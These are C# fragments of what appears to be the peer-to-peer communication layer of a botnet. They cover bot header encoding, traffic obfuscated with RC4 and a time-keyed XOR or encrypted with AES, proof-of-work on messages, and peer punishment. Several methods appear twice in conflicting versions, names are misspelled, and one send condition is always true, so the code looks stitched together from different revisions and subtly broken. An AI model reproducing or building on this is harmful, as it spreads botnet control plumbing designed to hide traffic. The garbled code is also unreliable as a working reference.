private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
{
var data = e.Payload;
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(data);
var rc4 = new Rc4(_botId.ToByteArray());
rc4.Decrypt(data);
var botHeader = BotHeader.Decode(data);
if (!IsValidHeader(botHeader))
{
_peerList.Punish(botHeader.BotId);
return;
}
botHeader.EndPoint = e.Proto;
_peerList.UpdatePeer(botHeader.BotId);
Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data));
}
private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
{
var data = e.Payload;
var count = e.Count;
PeerInfo peerInfo;
if (_peerList.TryGet(e.Proto, out peerInfo) && peerInfo.EncryptionKey != null)
{
data = Aes.Decrypt(data, 0, count, peerInfo.EncryptionKey);
}
var botHeader = BotHeader.Decode(data);
if (!IsValidHeader(botHeader))
{
Logger.Warn("Invalid message received by bot {0} from {1}", botHeader.BotId, e.Proto);
_peerList.Punish(botHeader.BotId);
return;
}
botHeader.EndPoint = e.Proto;
_peerList.UpdatePeer(botHeader.BotId);
var args = new PackageReceivedEventArgs <BotHeader>(botHeader, data, count);
Events.Raise(BotPackageReceivedEventArgs, this, args);
}
internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byte[] payload, BotIdentifier peerBotId)
{
if (!_peerList.IsRegisteredBot(peerBotId) && (metadata.MessageId != MessageCode.Syn || metadata.MessageId != MessageCode.AckSyn))
{
Logger.Verbose("Cannot send message to unkown {0} bot", peerBotId);
return;
}
var peerInfo = _peerList[peerBotId];
byte[] message;
BotHeader header;
do
{
var padding = RandomUtils.NextPadding();
header = new BotHeader
{
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
MessageId = (short)metadata.MessageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var preambule = BufferUtils.Concat(header.Encode(), padding);
message = BufferUtils.Concat(preambule, payload);
} while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));
if (peerInfo.Handshaked)
{
message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
}
var endPoint = peerInfo.EndPoint;
Logger.Verbose("{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_communicationManager.Send(endPoint, message);
if (correlationId == 0)
{
WaitingForReply.Add(new Package(endPoint, message, message.Length), header.CorrelationId);
}
}
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
{
if (!_peerList.IsRegisteredBot(botId))
{
return;
}
var padding = RandomUtils.NextPadding();
var header = new BotHeader {
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
BotId = botId,
MessageId = messageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var message = BufferUtils.Concat(header.Encode(), padding);
var rc4 = new Rc4(botId.ToByteArray());
rc4.Encrypt(message);
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(message);
var endPoint = _peerList[botId];
Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_comunicationManager.Send(endPoint, message);
if (correlationId == 0)
{
_waitingForReply.Add(new Package(endPoint, message), correlationId);
}
}
public BotPackage(BotHeader header, byte[] payload)
{
Header = header;
Payload = payload;
}
private bool IsValidHeader(BotHeader botHeader)
{
return(!(botHeader.Padding < 2 || botHeader.Padding > 128 ||
botHeader.MessageId < 0 || botHeader.MessageId > 4 ||
botHeader.Ttl < 2 || botHeader.Ttl > 6));
}
private static bool IsValidHeader(BotHeader botHeader)
{
return(!(botHeader.Padding < 2 || botHeader.Padding > 128 ||
botHeader.MessageId < (short)MessageCode.Syn || botHeader.MessageId > (short)MessageCode.MaxValid ||
botHeader.Ttl < 2 || botHeader.Ttl > 6));
}
